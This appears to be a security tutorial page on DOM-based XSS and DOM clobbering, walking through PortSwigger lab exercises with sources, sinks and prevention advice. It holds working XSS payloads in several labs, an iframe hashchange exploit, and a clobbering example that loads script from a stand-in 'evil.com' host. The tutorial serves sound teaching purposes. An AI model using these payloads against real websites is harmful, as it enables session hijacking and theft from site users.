DOM BASED

What is the DOM?

The Document Object Model (DOM) is a web browser's hierarchical representation of the elements on the page.
- Websites use JavaScript to manipulate the nodes and objects of the DOM and their properties.
- JavaScript that handles data insecurely can enable various attacks.
DOM-based vulnerabilities arise when a website contains JavaScript that takes an attacker-controllable value and passes it into a dangerous function (a sink).

DOM-based cross-site scripting

This arises when an application contains some client-side JavaScript that processes data from an untrusted source in an unsafe way and writes the data to the DOM.

Example:

var search = document.getElementById('search').value;
var results = document.getElementById('results');
results.innerHTML = 'You searched for: ' + search;

This can be attacked with a malicious value that causes script to execute. For example: You searched for:

In most cases the input field would be populated from part of the HTTP request, e.g. a URL query string parameter.

Taint-flow vulnerabilities

Many DOM-based vulnerabilities can be traced back to problems in how client-side code manipulates attacker-controllable data.

What is Taint flow?

Taint flow involves tracking potentially unsafe or untrusted data as it moves through a program to ensure it does not reach sensitive parts of the system.

Sources

JavaScript properties that accept potentially attacker-controlled data:
- location.search (reads inputs from the query string)
- document.referrer
- document.cookie
- web messages, etc.

Sinks

Potentially dangerous JavaScript functions or DOM objects that can cause undesirable effects if attacker-controlled data is passed to them:
- eval() (executes argument as JavaScript)
- HTML sinks like document.body.innerHTML (allows injection of malicious HTML and execution of arbitrary JavaScript)

DOM-based vulnerabilities arise when data flows from a source to a sink in an unsafe way.

Example showing unsafe handling of location.hash:

goto = location.hash.slice(1)
if (goto.startsWith('https:')){
    location = goto;
}

Vulnerable because location.hash is attacker-controllable and is used unsafely to set location, allowing redirection to an attacker-controlled site.

Common sources (examples):

document.URL
document.documentURI
document.URLUnencoded
document.baseURI
location
document.cookie
document.referrer
window.name
history.pushState
history.replaceState
localStorage
sessionStorage
IndexedDB (mozIndexedDB, webkitIndexedDB, msIndexedDB)
Database

DOM-based XSS

DOM-based XSS occurs when JavaScript takes data from an attacker-controllable source (e.g., URL) and passes it to a sink that supports dynamic code execution (e.g., eval() or innerHTML), enabling an attacker to execute malicious JavaScript (e.g., hijack user accounts).

Labs (each lab is presented as a stepper)

Lab: DOM XSS in document.write sink using source location.search — Overview

Target: QuickSearch (Web_Pentest730). The site displays search results dynamically and insecurely writes search queries directly to the webpage using document.write(). Input is taken from location.search, making it vulnerable to DOM-based XSS.

Goal: Inject HTML/JavaScript into the page by modifying the URL.

Vulnerability — Problem

document.write() is used with data from location.search without sanitization.
location.search contains the URL query string (anything after ?), which an attacker controls.

Reconnaissance plan

Enter a random alphanumeric string into the search box.
Inspect and confirm the random string is placed inside an img src attribute in the resulting HTML.
Task: break out of the img attribute context.

Attack / Payload

Payload: "><svg onload=alert(1)>
- Breaks out of the src attribute of an <img> tag, closes the tag, injects an <svg> with onload that runs alert(1).

Exploit & Trigger

Add payload to the URL query string: https://YOUR-LAB-ID.web-security-academy.net/?search="><svg onload=alert(1)>
When the victim loads the URL, location.search is written to the page by document.write(). The injected SVG onload runs and triggers the alert.

Why the exploit works & impact

Breaking out of the attribute context: "> closes <img> tag allowing new elements.
document.write() writes input as-is—dangerous if unsanitized.
location.search is attacker-controlled.
Real-world impact: account hijacking (steal document.cookie), phishing (fake forms), malware distribution.

Lab: DOM XSS in document.write sink using source location.search inside a select element — Overview

Target: Online shopping platform (Web_Pentest731). storeId parameter from URL is added as an <option> inside a <select> via document.write() without sanitization.
Goal: Break out of <select>, inject HTML/JS, trigger an alert.

Reconnaissance & Vulnerability

Test with: https://YOUR-LAB-ID.web-security-academy.net/product?productId=1&storeId=test123
Confirm test123 appears as <option>test123</option>.
Vulnerability: storeId is written directly into an option with document.write().

Attack / Payload

Payload: "></select><img src=1 onerror=alert(1)>
- "> closes the <option>.
- </select> closes the <select>.
- <img src=1 onerror=alert(1)> injects an image that fails to load and triggers onerror.
Malicious URL: https://YOUR-LAB-ID.web-security-academy.net/product?productId=1&storeId="></select><img%20src=1%20onerror=alert(1)>

Exploit & Trigger

Victim visits URL → payload breaks out of <select> and adds <img>.
Image fails to load (src=1), onerror executes alert(1).

Why it works

The payload closes <option> and <select>, allowing injection.
document.write() writes input as-is.
Injected <img> triggers onerror when load fails.

Lab: DOM XSS in innerHTML sink using source location.search inside a div — Overview

Target: techBlogs (Web_Pentest731). Search terms from location.search are inserted into a <div> via innerHTML.
Goal: Inject HTML through the URL, which innerHTML interprets and executes JS.

Vulnerability

Source: location.search from URL query string.
Sink: element.innerHTML used to update a <div> element unsafely.

Reconnaissance & Attack

Payload: <img src=1 onerror=alert(1)>
Malicious URL: https://YOUR-LAB-ID.web-security-academy.net/?search=<img%20src=1%20onerror=alert(1)>

Exploit & Trigger

Victim loads URL → location.search written into <div> using innerHTML.
Browser creates <img> that fails to load and triggers onerror → alert(1).

Why it works

innerHTML interprets input as HTML (no escaping).
location.search is attacker-controlled.
Real-world impact: cookie theft, etc.

Lab: DOM XSS in jQuery anchor href attribute sink using location.search — Overview

Target: feedbackHub (Web_Pentest731). jQuery updates a "Back" link's href from the returnPath URL parameter.
Goal: Inject a javascript: URL into href to execute arbitrary code (e.g., alert document.cookie).

Vulnerability

Source: returnPath from location.search.
Sink: jQuery selector modifies anchor href attribute using untrusted input.

Reconnaissance & Attack

Test: https://YOUR-LAB-ID.web-security-academy.net/feedback?returnPath=/test123
Payload for returnPath: javascript:alert(document.cookie)
Malicious URL: https://YOUR-LAB-ID.web-security-academy.net/feedbackreturnPath=javascript:alert(document.cookie)

Exploit & Trigger

Load the modified URL and click the "Back" link → javascript: URL executes and shows document.cookie.

Why it works & impact

jQuery attribute modification with untrusted input is a dangerous sink.
javascript: scheme executes code when clicked.
Real-world impact: cookie theft, phishing, drive-by malware.

Lab: DOM XSS in jQuery selector sink using a hashchange event — Overview

Target: Site uses $(location.hash) to scroll to posts based on URL hash and listens for hashchange.
Vulnerability: $(location.hash) uses attacker-controlled hash in jQuery selector, enabling injection.
Goal: Cause execution of print() via an injected payload in the hash using an iframe exploit.

Reconnaissance & Attack

Construct an iframe on the exploit server:

<iframe src="https://YOUR-LAB-ID.web-security-academy.net/#" onload="this.src+='<img src=x onerror=print()>'"></iframe>

When the iframe loads it updates its src to include <img src=x onerror=print()> in the hash, triggering hashchange and the payload.

Exploit & Trigger

Save and view the exploit. Deliver the exploit to victim by serving the iframe.
When the victim visits the iframe, the modified URL with malicious hash is auto-loaded and print() executes.

Why it works & impact

jQuery's $() selector combined with location.hash is treated as trusted and can be abused.
The hashchange event can be triggered automatically by modifying src of an iframe.
Real-world impact: data theft, phishing, drive-by malware.

Lab: DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded — Overview

Target: AngularJS-based site (Web_Pentest732) where search input is evaluated as an AngularJS expression inside {{ }}.
Challenge: Angle brackets < and > are encoded, so classic tag-based payloads won't work.
Goal: Execute JavaScript via AngularJS expression.

Attack / Payload

Use AngularJS expression: {{$on.constructor('alert(1)')()}}
- $on.constructor accesses a constructor to build a new function from a string ('alert(1)') and executes it.
Enter the payload in the search box and trigger the search.

Exploit & Trigger

AngularJS evaluates the expression inside {{ }}. The payload becomes a function and executes alert(1).

Why it works & impact

AngularJS will evaluate expressions inside {{ }} allowing arbitrary JS if an exploitable path exists.
No angle brackets needed.
Real-world impact: data theft, phishing, malware distribution.

Lab: Reflected DOM XSS — Overview

Target: Site (Web_Pentest737) where the search term is sent to server, server reflects it in JSON response as searchTerm, and client code passes it to eval().
Goal: Break out of JSON string to execute JavaScript.

Vulnerability & Reconnaissance

Server reflects user input in JSON: {"searchTerm":"XSS", "results":[]}
Client-side script processes JSON and uses eval()—unsafe if data isn't sanitized.
Observe escaping behavior: double quotes " are escaped, but backslashes \ may not be handled correctly.

Attack / Payload

Payload to break out of JSON string: \"-alert(1)}//
- \" attempts to close/escape string.
- - harmless arithmetic separator.
- alert(1) JS to execute.
- } closes JSON object.
- // comments out remainder.

Exploit & Trigger

Search with the payload.
JSON response may look like: {"searchTerm":"\\"-alert(1)}//", "results":[]}
Due to improper handling of backslashes, this can result in eval() executing alert(1).

Why it works & impact

Backslash injection subverts escaping.
Breaking out of JSON string allows code injection.
Using eval() executes the injected code.
Real-world impact: cookie theft, phishing, malware.

Lab: Stored DOM XSS — Overview

Target: Blog site (Web_Pentest74) storing comments. A comment is stored on server and later inserted into the DOM client-side unsafely. The site attempts to encode angle brackets but only replaces the first occurrence.
Goal: Bypass the single-replacement encoding and execute JavaScript.

Vulnerability & Reconnaissance

Site encodes angle brackets < > only for the first occurrence in the string (e.g., using replace() once).
Subsequent angle brackets remain unencoded and are interpreted as HTML.

Attack / Payload

Payload: <><img src=1 onerror=alert(1)>
- The initial <> is encoded by the single-replacement filter, allowing the later <img> to remain and be interpreted as HTML.
Submit the payload as a comment.

Exploit & Trigger

Comment is stored by the server.
When another user views the post, the unsafe client-side script inserts the stored comment into the DOM (likely via innerHTML), rendering the <img> which fails to load and fires onerror → alert(1).

Why it works & impact

The site’s filter replaces only the first </>; extra brackets bypass the filter.
The stored comment ends up in the DOM and is interpreted as HTML.
Real-world impact: data theft, phishing, malware.

Common sinks that can lead to DOM-XSS vulnerabilities

document.write()
document.writeln()
document.domain
element.innerHTML
element.outerHTML
element.insertAdjacentHTML
element.onevent

jQuery functions that are also sinks

add()
after()
append()
animate()
insertAfter()
insertBefore()
before()
html()
prepend()
replaceAll()
replaceWith()
wrap()
wrapInner()
wrapAll()
has()
constructor()
init()
index()
jQuery.parseHTML()
$.parseHTML()

WEB DOM CLOBBERING

Analogy: A JavaScript program is a party and variables are people wearing name tags. If an attacker injects an HTML element with an id/name that matches a global variable, the browser may resolve that global to the DOM node instead of the intended JS object.

Example vulnerable code:

window.onload = function(){
    let someObject = window.someObject || {};
    let script = document.createElement('script');
    script.src = someObject.url;
    document.body.appendChild(script);
};

Attacker injection:

<a id=someObject name=url href=//evil.com/evil.js>

window.someObject becomes the DOM node (the <a>), so someObject.url points to the link's url/name property, and a script is loaded from the attacker-controlled URL.

Dom clobbering is overwriting a JavaScript variable with a DOM element, often to trick the app into behaving unexpectedly.

How to find & test clobbering

Look for code patterns like window.xyz || {} or global variables used without strict checks.
Check places where HTML injection is possible (profile pages, comments, forums).
Try injecting elements with id/name matching global variable names:

<a id=target name=url href=//x.js>
<input name=submit>
<form name=data>

Observe whether scripts/resources are loaded from attacker domains or behavior changes.
In DevTools: inspect console.log(window.someObject) after injection to see if it's a DOM node.

Lab: DOM-clobbering → Attribute injection → XSS

1. Lab Introduction

Feature: Comments that allow limited HTML anchors and render avatars using defaultAvatar.avatar.
Attack vector: DOM clobbering via anchors sharing the same id, combined with attribute values that decode at runtime (e.g., ") to break attribute syntax and inject an onerror handler.
Techniques: DOM clobbering, attribute injection, unsafe client-side string concatenation / innerHTML.

2. Reconnaissance plan

Find comment posting pages allowing minimal HTML (e.g., <a>, <img>).
Check sanitizer rules: can you include id, name, encoded quotes like ", cid: protocols?
Search client scripts for window.someVar || {} patterns, e.g., let defaultAvatar = window.defaultAvatar || {...}.
Check whether avatars are injected via innerHTML or img.src.

3. Vulnerability — Problem

Source: reliance on global window.defaultAvatar || {avatar: '...'} combined with user-controlled HTML that can create id/name colliding with globals.
Sink: unsafe HTML construction such as:

parent.innerHTML = '<img src="' + defaultAvatar.avatar + '">';

Sanitizer allows id/name, cid: protocol and " sequences that decode into quotes at runtime.

4. End goal

Cause the site to render an element containing an onerror attribute executing alert(1), demonstrating that clobbering + attribute injection bypasses filters.

5. Attack (first attempt) — Payloads

Comment #1 (clobber):

<a id=defaultAvatar></a>
<a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//"></a>

Two <a> elements share id=defaultAvatar so window.defaultAvatar refers to the DOM collection/element.
Second anchor has name=avatar and href="cid:"onerror=alert(1)//". When " decodes to ", it can break attribute syntax later and inject onerror.

6. Exploit & Trigger

Post Comment #1 (the two anchors).
Post Comment #2 (e.g., "Nice post!") to trigger re-render of comments.
Client executes code like:

let defaultAvatar = window.defaultAvatar || { avatar: '/resources/images/avatarDefault.svg' };
parent.innerHTML = '<img src="' + defaultAvatar.avatar + '">';

With window.defaultAvatar clobbered, defaultAvatar.avatar resolves to cid:"onerror=alert(1)//.
Constructed HTML becomes:

<img src="cid:"onerror=alert(1)//">

Browser parses the broken attribute, image load fails, onerror fires → alert(1).

7. Enumeration

Confirm comments accept minimal HTML and id/name.
Locate client code patterns like window.X || {}.
Verify avatar rendering uses innerHTML / unsafe templating.
Test sanitizer: does it allow cid: and "?
Use DevTools to inspect window.defaultAvatar after comment #1 to confirm clobbering.

8. Final payload & notes

Comment #1 (clobber):

<a id=defaultAvatar></a>
<a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//"></a>

Comment #2 (trigger): Nice post!
Single-line variant:

<a id=defaultAvatar></a><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//"></a>

Why it works:

id=defaultAvatar clobbers JS variable.
name=avatar provides .avatar property on the DOM collection.
" decodes to " and breaks src="...", inserting onerror.
Unsafe innerHTML concatenation results in a parsed element with onerror.

Real-world impact:

Look for window.X || {} patterns and sanitizer allowances (cid:, ").
Clobbering can lead to script execution even when ordinary XSS vectors are filtered.

How to Prevent DOM-Based XSS (summary)

Avoid using dangerous sinks like document.write() where possible. Prefer safe DOM APIs:
- Use textContent, innerText, or set properties like element.src instead of innerHTML/string templating.
Sanitize and encode user inputs appropriately for the context where they will be used.
Implement a strong Content Security Policy (CSP) to limit sources of executable scripts and reduce XSS impact.
Avoid relying on global variables that can be clobbered; validate and tightly control values used to build HTML.

PreviousCross site scripting (XSS)NextWebSocket

Last updated 1 month ago

hashtagWhat is the DOM?

hashtagDOM-based cross-site scripting

hashtagTaint-flow vulnerabilities

hashtagWhat is Taint flow?

hashtagDOM-based XSS

hashtagLabs (each lab is presented as a stepper)

hashtagLab: DOM XSS in document.write sink using source location.search — Overview

hashtagVulnerability — Problem

hashtagReconnaissance plan

hashtagAttack / Payload

hashtagExploit & Trigger

hashtagWhy the exploit works & impact

hashtagLab: DOM XSS in document.write sink using source location.search inside a select element — Overview

hashtagReconnaissance & Vulnerability

hashtagAttack / Payload

hashtagExploit & Trigger

hashtagWhy it works

hashtagLab: DOM XSS in innerHTML sink using source location.search inside a div — Overview

hashtagVulnerability

hashtagReconnaissance & Attack

hashtagExploit & Trigger

hashtagWhy it works

hashtagLab: DOM XSS in jQuery anchor href attribute sink using location.search — Overview

hashtagVulnerability

hashtagReconnaissance & Attack

hashtagExploit & Trigger

hashtagWhy it works & impact

hashtagLab: DOM XSS in jQuery selector sink using a hashchange event — Overview

hashtagReconnaissance & Attack

hashtagExploit & Trigger

hashtagWhy it works & impact

hashtagLab: DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded — Overview

hashtagAttack / Payload

hashtagExploit & Trigger

hashtagWhy it works & impact

hashtagLab: Reflected DOM XSS — Overview

hashtagVulnerability & Reconnaissance

hashtagAttack / Payload

hashtagExploit & Trigger

hashtagWhy it works & impact

hashtagLab: Stored DOM XSS — Overview

hashtagVulnerability & Reconnaissance

hashtagAttack / Payload

hashtagExploit & Trigger

hashtagWhy it works & impact

hashtagCommon sinks that can lead to DOM-XSS vulnerabilities

hashtagjQuery functions that are also sinks

hashtagWEB DOM CLOBBERING

hashtagHow to find & test clobbering

hashtagLab: DOM-clobbering → Attribute injection → XSS

hashtag1. Lab Introduction

hashtag2. Reconnaissance plan

hashtag3. Vulnerability — Problem

hashtag4. End goal

hashtag5. Attack (first attempt) — Payloads

hashtag6. Exploit & Trigger

hashtag7. Enumeration

hashtag8. Final payload & notes

hashtagHow to Prevent DOM-Based XSS (summary)

What is the DOM?

DOM-based cross-site scripting

Taint-flow vulnerabilities

What is Taint flow?

DOM-based XSS

Labs (each lab is presented as a stepper)

Lab: DOM XSS in document.write sink using source location.search — Overview

Vulnerability — Problem

Reconnaissance plan

Attack / Payload

Exploit & Trigger

Why the exploit works & impact

Lab: DOM XSS in document.write sink using source location.search inside a select element — Overview

Reconnaissance & Vulnerability

Attack / Payload

Exploit & Trigger

Why it works

Lab: DOM XSS in innerHTML sink using source location.search inside a div — Overview

Vulnerability

Reconnaissance & Attack

Exploit & Trigger

Why it works

Lab: DOM XSS in jQuery anchor href attribute sink using location.search — Overview

Vulnerability

Reconnaissance & Attack

Exploit & Trigger

Why it works & impact

Lab: DOM XSS in jQuery selector sink using a hashchange event — Overview

Reconnaissance & Attack

Exploit & Trigger

Why it works & impact

Lab: DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded — Overview

Attack / Payload

Exploit & Trigger

Why it works & impact

Lab: Reflected DOM XSS — Overview

Vulnerability & Reconnaissance

Attack / Payload

Exploit & Trigger

Why it works & impact

Lab: Stored DOM XSS — Overview

Vulnerability & Reconnaissance

Attack / Payload

Exploit & Trigger

Why it works & impact

Common sinks that can lead to DOM-XSS vulnerabilities

jQuery functions that are also sinks

WEB DOM CLOBBERING

How to find & test clobbering

Lab: DOM-clobbering → Attribute injection → XSS

1. Lab Introduction

2. Reconnaissance plan

3. Vulnerability — Problem

4. End goal

5. Attack (first attempt) — Payloads

6. Exploit & Trigger

7. Enumeration

8. Final payload & notes

How to Prevent DOM-Based XSS (summary)